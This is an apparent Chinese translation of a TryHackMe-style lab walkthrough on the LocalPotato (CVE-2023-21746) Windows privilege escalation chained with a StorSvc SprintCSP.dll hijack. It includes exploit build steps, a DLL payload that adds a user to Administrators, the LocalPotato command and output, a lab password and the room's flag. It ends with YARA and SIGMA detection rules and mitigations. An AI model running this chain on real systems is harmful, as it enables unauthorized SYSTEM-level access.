LocalPotato

29

LocalPotato

了解如何使用 LocalPotato (CVE-2023-21746) 在 Windows 上提升权限。

介绍

​ 2022 年 9 月 9 日,Andrea Pierini(@decoder_it) 和 Antonio Cocomazzi(@splinter_code) 向微软报告了 Windows 中的一个本地权限升级(LPE)漏洞。该漏洞允许攻击者使用主机上的低权限账户,以 SYSTEM 权限读/写任意文件。

​ 微软在 2023 年 1 月的 "星期二补丁 "中发布了该漏洞的修复程序,并随后于 2023 年 2 月 10 日发布了一个可行的概念验证(PoC)。该漏洞被指定为CVE-2023-21746

​ 虽然该漏洞本身并不能直接允许以 SYSTEM 身份执行命令,但我们可以将其与多个载体相结合来实现这一结果。方便的是,2 月 13 日,BlackArrowSec 发布了另一个权限升级 PoC,它滥用了 StorSvc 服务,允许攻击者以 SYSTEM 身份执行代码,只要他们能将 DLL 文件写入 PATH 中的任何目录。

​ 在这个房间里,我们将研究这两个漏洞,并将它们结合起来,以 SYSTEM 用户身份获取任意执行。

启动虚拟机

​ 您需要按下任务顶部的绿色 "启动机器 "按钮,部署附加到该任务的虚拟机。机器应该以分屏视图启动。如果没有,则需要按下页面右上方的蓝色 "显示分屏视图 "按钮。所有房间都可以在分屏视图中完成,但如果你更喜欢通过 RDP 连接到机器,可以使用以下凭证:

回答下列问题

启动虚拟机后再继续。

NTLM 身份验证复习

在了解该漏洞的工作原理之前,让我们先快速复习一下 NTLM 身份验证。

NTLM 身份验证

NTLM 身份验证的通常情况是用户尝试对远程服务器进行身份验证。身份验证过程涉及三个数据包:

  • 类型 1 消息:客户端发送一个数据包,协商身份验证过程的条款。数据包可选择包含客户机名称及其域。服务器收到该数据包后,可检查身份验证是否从另一台机器启动。
  • 类型 2 信息:服务器向客户端回应一个挑战。挑战 是一个随机数,用于验证客户端,而无需通过网络传递其凭据。
  • 类型 3 信息:客户端使用在第 2 类报文中收到的挑战,并将其与用户密码哈希值相结合,生成对挑战的响应。响应作为第 3 类报文的一部分发送给服务器。这样,服务器就可以检查客户端是否知道正确的用户密码哈希值,而无需通过网络传输。

NTLM Authentication

NTLM 本地身份验证

​ NTLM 本地身份验证用于用户尝试登录在同一台机器上运行的服务。由于客户端和服务器应用程序都在同一台机器上,因此不需要挑战-响应过程。身份验证通过设置安全上下文以不同方式进行。虽然我们不会深入探讨安全上下文中包含的细节,但可以将其视为与连接相关的一组安全参数,包括会话密钥和将在连接中使用其权限的用户。

​ 该过程仍涉及与之前相同的三条信息,但用于验证的信息有如下变化:

  • 类型 1 信息:客户端发送此信息以启动连接。与之前一样,它用于协商身份验证参数,但也包含客户端机器的名称及其域。服务器可检查客户机的名称和域,如果与客户机的名称和域匹配,则开始本地身份验证过程。
  • 类型 2 信息:服务器会创建一个安全上下文,并在此信息中将其 ID 发回给客户端。然后,客户端可以使用安全上下文 ID 将自己与连接关联起来。
  • 类型 3 信息:如果客户端成功将自己与现有的安全上下文 ID 关联,则会向服务器发送空的第 3 类报文,表示本地身份验证过程成功。

NTLM Local Authentication

​ 由于所有步骤都在同一台机器上进行,因此无需像以前那样遵循 "挑战-响应 "方法。机器可以同时验证服务器和客户端应用程序的安全上下文 ID。

回答下列问题

点击并继续学习!

LocalPotato

​ LocalPotato PoC 利用 NTLM 身份验证(NTLM 本地身份验证)特例中的一个漏洞,诱骗有权限的进程对攻击者针对本地 SMB 服务器启动的会话进行身份验证。结果,攻击者最终会拥有一个连接,允许他访问具有被骗进程权限的任何共享,包括 C$ADMIN$ 等特殊共享。

漏洞利用的过程如下:

  1. 攻击者将触发一个特权进程连接到他控制的一个恶意服务器。这类似于以前的土豆漏洞利用,其中一个非特权用户可以强制操作系统创建使用特权用户(通常为SYSTEM)的连接。
  2. 恶意服务器将为特权连接实例化一个安全上下文A,但不会立即将其发送回来。相反,攻击者将启动一个恶意客户端,同时使用其当前的非特权凭据对本地SMB服务器(Windows文件共享)发起连接。客户端将发送Type1消息以启动连接,服务器将回复通过发送带有新的安全上下文B ID的Type2消息。
  3. 攻击者将交换两个连接的上下文ID,以便特权进程接收SMB服务器连接的上下文而不是自己的上下文。因此,特权客户端将使用攻击者创建的SMB连接的安全上下文B与其用户(SYSTEM)关联。结果,攻击者的客户端现在可以使用SYSTEM权限访问任何网络共享!

LocalPotato Diagram

​ 通过与 SMB 共享的特权连接,攻击者可以在任何位置读取或写入目标计算机的文件。虽然这无法让我们直接对有漏洞的机器运行命令,但我们将把它与另一种攻击载体结合起来,以达到这一目的。

​ 请注意,该漏洞存在于 NTLM 协议而非 SMB 服务器中,因此理论上可以对任何利用 NTLM 身份验证的服务使用相同的攻击向量。但实际上,在选择攻击协议时必须注意一些问题。PoC 使用 SMB 服务器避免了其他协议针对类似攻击向量的一些额外保护,甚至实现了快速绕过,使漏洞攻击在 SMB 服务器上生效。虽然我们不会在此深入讨论这些技术细节,但您可以在原漏洞利用者的帖子中阅读到相关信息。

回答下列问题

点击并继续学习!

滥用 StorSvc 执行命令

​ 到目前为止,我们已经使用 LocalPotato 向目标计算机写入了任意文件。要获得特权 shell,我们还需要弄清楚如何使用任意写入来运行命令。

​ 最近,我们发现了另一种权限升级载体,攻击者可以劫持丢失的 DLL,以 SYSTEM 权限运行任意命令。这个载体的唯一问题是,攻击者需要将 DLL 写入系统的 PATH 才能触发它。默认情况下,Windows PATH 只包含只有特权账户才能写入的目录。虽然有可能找到安装了特定应用程序的机器改变了 PATH 变量,使机器变得易受攻击,但该攻击向量只适用于特定情况。将此攻击与 LocalPotato 结合使用,我们就能克服这一限制,获得完全有效的权限升级漏洞。

StorSvc 和 DLL 劫持

​ BlackArrowSec 发现,攻击者可以向StorSvc服务提供的SvcRebootToFlashingMode方法发送 RPC 调用,这反过来会触发加载名为SprintCSP.dll的丢失 DLL 的尝试。

Abusing StorSvc for LPE

​ 如果您对 RPC 不熟悉,可以将其理解为一种 API,它公开了一些函数,以便远程使用。在本例中,StorSvc服务公开了SvcRebootToFlashingMode方法,任何有访问权限的人都可以调用该方法。

​ 由于 StorSvc 以 SYSTEM 权限运行,因此只要调用SvcRebootToFlashingMode,就会在 PATH 的某个位置创建 SprintCSP.dll 并加载它。

编译漏洞

要使用这个漏洞,首先需要编译所提供的两个文件:

  • SprintCSP.dll:这是我们要劫持的丢失的 DLL。漏洞利用程序提供的默认代码会运行 whoami 命令,并将响应输出到C:\Program Data\whoamiall.txt中。我们需要修改命令以运行反向 shell。
  • RpcClient.exe:该程序将触发对 SvcRebootToFlashingMode 的 RPC 调用。由于不同的 Windows 版本使用不同的接口标识符来暴露SvcRebootToFlashingMode,因此您可能需要稍微编辑一下漏洞利用程序的代码,这取决于您所针对的 Windows 版本。

这两个文件的项目都可以通过 StorSvc\ 在 C:\tools\LPE 上找到。

​ 我们先来处理 RpcClient.exe。如前所述,我们需要根据目标计算机的 Windows 版本更改漏洞利用程序。为此,我们需要修改C:\tools\LPE via StorSvc\RpcClient\RpcClient\storsvc_c.c的第一行,以便选择正确的操作系统。我们可以使用Notepad++,右键单击文件并选择用Notepad++编辑。由于我们的机器运行的是 Windows Server 2019,我们将编辑文件如下:

#if defined(_M_AMD64)

//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022

...

​ 这将设置漏洞利用程序使用 Windows 2019 的正确 RPC 接口标识符。现在,代码已经更正,让我们使用桌面上的快捷方式打开开发人员命令提示符。我们将通过运行以下命令来构建项目:

C:\> cd C:\tools\LPE via StorSvc\RpcClient\

C:\tools\LPE via StorSvc\RpcClient> msbuild RpcClient.sln
... some output ommitted ...

Build succeeded.
    0 Warning(s)
    0 Error(s)

C:\tools\LPE via StorSvc\RpcClient> move x64\Debug\RpcClient.exe C:\Users\user\Desktop\

编译后的可执行文件将出现在桌面上。

​ 现在要编译 SprintCSP.dll,我们只需修改C:\tools\LPE via StorSvc\SprintCSP\SprintCSP\main.c中的DoStuff()函数,使其执行一条命令,授予我们访问机器的权限。为简单起见,我们将使 DLL 把当前用户添加到 Administrators 组。下面是被替换命令的代码:

void DoStuff() {

    // Replace all this code by your payload
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
        NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return;
}

现在我们编译 DLL,并将结果移回桌面:

C:\> cd C:\tools\LPE via StorSvc\SprintCSP\

C:\tools\LPE via StorSvc\SprintCSP> msbuild SprintCSP.sln
... some output ommitted ...

Build succeeded.
    6 Warning(s)
    0 Error(s)

C:\tools\LPE via StorSvc\SprintCSP> move x64\Debug\SprintCSP.dll C:\Users\user\Desktop\ 

现在,我们已经准备好启动完整的漏洞利用链!

回答下面的问题

编译两个漏洞利用文件并继续。

提升我们的权限

​ 现在我们可以启动漏洞利用程序了。在继续之前,请确保您的桌面上有LocalPotato.exe漏洞利用程序、RpcClient.exeSprintCSP.dll文件。如果没有,请返回上一个任务构建它们。

首先验证当前用户不是管理员组的成员:

C:\> net user user
User name                    user
Full Name

... some output omitted ...

Local Group Memberships      *Remote Desktop Users *Users
Global Group memberships     *None
The command completed successfully.

​ 要成功利用 StorSvc,我们需要将SprintCSP.dll复制到当前 PATH 中的任意目录。我们可以运行以下命令来验证 PATH:

C:\> reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path
    Path    REG_EXPAND_SZ    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;
                             %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\;
                             C:\Program Files\Amazon\cfn-bootstrap\

​ 我们将以%SystemRoot%\system32目录为目标,该目录展开为C:\windows\system32。不过,你也可以使用任何一个目录。

​ 为了确保万无一失,我们可以尝试直接将 DLL 复制到system32目录,但我们的用户没有足够的权限这样做:

C:\Users\user\Desktop> copy SprintCSP.dll C:\Windows\System32\SprintCSP.dll
Access is denied.
        0 file(s) copied.

​ 通过使用 LocalPotato,即使我们使用的是非特权用户,也可以将 SprintCSP.dll 复制到 system32 中:

C:\Users\user\Desktop> LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll
 
         LocalPotato (aka CVE-2023-21746)
         by splinter_code & decoder_it
 
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAABTIvXDdMIUbap+AepkeJ/yAcgAAMwIwArWEKZ3vRDmhjkAIwAHAEMASABBAE4ARwBFAC0ATQBZAC0ASABPAFMAVABOAEEATQBFAAAABwAxADAALgAxADAALgA0ADAALgAyADMAMQAAAAAACQD//wAAHgD//wAAEAD//wAACgD//wAAFgD//wAAHwD//wAADgD//wAAAAA=:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[+] SMB reflected DCOM authentication succeeded!
[+] SMB Connect Tree: \\127.0.0.1\c$  success
[+] SMB Create Request File: Windows\System32\SprintCSP.dll success
[+] SMB Write Request file: Windows\System32\SprintCSP.dll success
[+] SMB Close File success
[+] SMB Tree Disconnect success

​ 有了 DLL,我们现在就可以运行RpcClient.exe来触发对SvcRebootToFlashingMode 的调用,从而有效执行 DLL 中的有效载荷:

C:\Users\user\Desktop> RpcClient.exe
[+] Dll hijack triggered!

​ 要验证我们的漏洞利用是否达到预期效果,我们可以检查我们的用户现在是否属于管理员组:

C:\> net user user
User name                    user
Full Name
... some output omitted ...
Local Group Memberships      *Administrators       *Remote Desktop Users
                             *Users
Global Group memberships     *None
The command completed successfully.

​ 要以管理员权限生成命令提示符,您可以右键单击并使用您的用户凭据以“管理员身份运行”。请记住,用户名为user,密码为Password123

Run as Administrator

回答下面的问题

提升系统权限以获得管理控制台。C:\users\administrator\desktop\flag.txt中的标志值是多少?

THM{local_potatoes_best_potatoes}

检测/缓解

​ 既然我们已经了解了 Localpotatoexploit 是如何工作的,以及它是如何与 StorSrv 服务连锁以 SYSTEM 身份执行代码的,那么现在就来看看如何在系统内检测到它以及如何防止此类攻击。

​ 由于这种攻击涉及在命令行终端运行的带有参数的可执行文件,因此检测这种活动的两种常见方法是使用模式匹配工具YARA检测文件模式,以及检查执行 localpotato.exe 这种黑客工具所产生的事件。

YARA rule

​ 由于攻击使用了被称为localpotato.exe的黑客工具,我们可以使用YARA或其他检测工具(如THOR)扫描主机,创建一个YARA规则来检测系统中是否存在该工具。

YARA rule

rule detect_localpotato {
    meta:
        description = "Detects the localpotato exploit"
    strings:
                $CLSID = "854A20FB-2D44-457D-992F-EF13785D2B51"
		$localpotato = {6c 6f 63 61 6c 70 6f 74 61 74 6f}
		$ntlm = {4e 54 4c 4d}
		$function = "NtQueryInformationProcess"

    condition:
        all of them
}

这条最小规则会在 localpotato 可执行文件中查找常见的字符串模式。

SIGMA

SIGMA是一种通用签名语言,用于根据事件日志中发现的模式编写检测规则。为了检测网络中的本地马铃薯,需要启用集中日志监控功能。以下 SIGMA 规则摘自SIGMA 官方资料库

检测 LocalPotato

title: HackTool - LocalPotato Execution
id: 6bd75993-9888-4f91-9404-e1e4e4e34b77
status: experimental
description: Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples
references:
    - https://www.localpotato.com/localpotato_html/LocalPotato.html
    - https://github.com/decoder-it/LocalPotato
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023/02/14
tags:
    - attack.defense_evasion
    - attack.privilege_escalation
    - cve.2023.21746
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith: '\LocalPotato.exe'
    selection_cli:
        CommandLine|contains|all:
            - '.exe -i C:\'
            - '-o Windows\'
    selection_hash_plain:
        Hashes|contains:
            - 'IMPHASH=E1742EE971D6549E8D4D81115F88F1FC'
            - 'IMPHASH=DD82066EFBA94D7556EF582F247C8BB5'
    selection_hash_ext:
        Imphash:
            - 'E1742EE971D6549E8D4D81115F88F1FC'
            - 'DD82066EFBA94D7556EF582F247C8BB5'
    condition: 1 of selection_*
falsepositives:
    - Unlikely
level: high

检测 Storsvc 和 SprintCSP.dll 劫持

​ 在前面的任务中,我们了解到 localpotato 漏洞会与 Storsvc 结合,劫持 SprintCSP.dll 并作为 SYSTEM 执行。以下来自官方 GitHub 的 SIGMA 规则可用于检测这一活动。

title: Creation Of Non-Existent System DLL
id: df6ecb8b-7822-4f4b-b412-08f524b4576c
related:
    - id: 6b98b92b-4f00-4f62-b4fe-4d1920215771 # ImageLoad rule
      type: similar
status: experimental
description: Detects the creation of system dlls that are not present on the system. Usually to achieve dll hijacking
references:
    - https://decoded.avast.io/martinchlumecky/png-steganography/
    - https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
    - https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/
    - https://github.com/Wh04m1001/SysmonEoP
    - https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/
    - https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc
author: Nasreddine Bencherchali (Nextron Systems), fornotes
date: 2022/12/01
modified: 2023/02/15
tags:
    - attack.defense_evasion
    - attack.persistence
    - attack.privilege_escalation
    - attack.t1574.001
    - attack.t1574.002
logsource:
    product: windows
    category: file_event
detection:
    selection:
        - TargetFilename:
            - 'C:\Windows\System32\WLBSCTRL.dll'
            - 'C:\Windows\System32\TSMSISrv.dll'
            - 'C:\Windows\System32\TSVIPSrv.dll'
            - 'C:\Windows\System32\wow64log.dll'
            - 'C:\Windows\System32\WptsExtensions.dll'
            - 'C:\Windows\System32\wbem\wbemcomn.dll'
        - TargetFilename|endswith: '\SprintCSP.dll'
    filter:
        Image|startswith: 'C:\Windows\System32\'
    condition: selection and not filter
falsepositives:
    - Unknown
level: medium

​ 我们可以使用这些西格玛规则转换成现有的检测/监控工具,并搜索事件日志来寻找潜在的攻击。

缓解

为防止此类攻击,请考虑以下几点。

更新补丁:

随时更新安全补丁——localpotato漏洞利用针对的是 Windows 操作系统中的一个漏洞。确保所有系统都更新了最新的安全补丁,以防止攻击者利用这一漏洞。此漏洞不会影响已打补丁的操作系统。

最小特权原则:

防止攻击者利用 localpotato 漏洞的方法之一是执行最小特权原则。这意味着只限制用户访问其履行工作职能所需的资源。这样,攻击者就不太可能获得执行漏洞利用所需的高级权限。

监控可疑活动:

使用 Splunk 等工具监控网络上的可疑活动。查找本地土豆攻击的迹象,如异常进程活动或执行恶意代码的尝试。

回答下面的问题

继续完成房间。

结论

在本房间中,我们介绍了如何通过将 LocalPotato 与不同的攻击向量相结合来实现权限升级。我们对每种攻击载体都进行了简明扼要的解释,但您可以通过阅读这两个漏洞的原始文章来进一步了解它们:

回答下面的问题

点击并继续学习!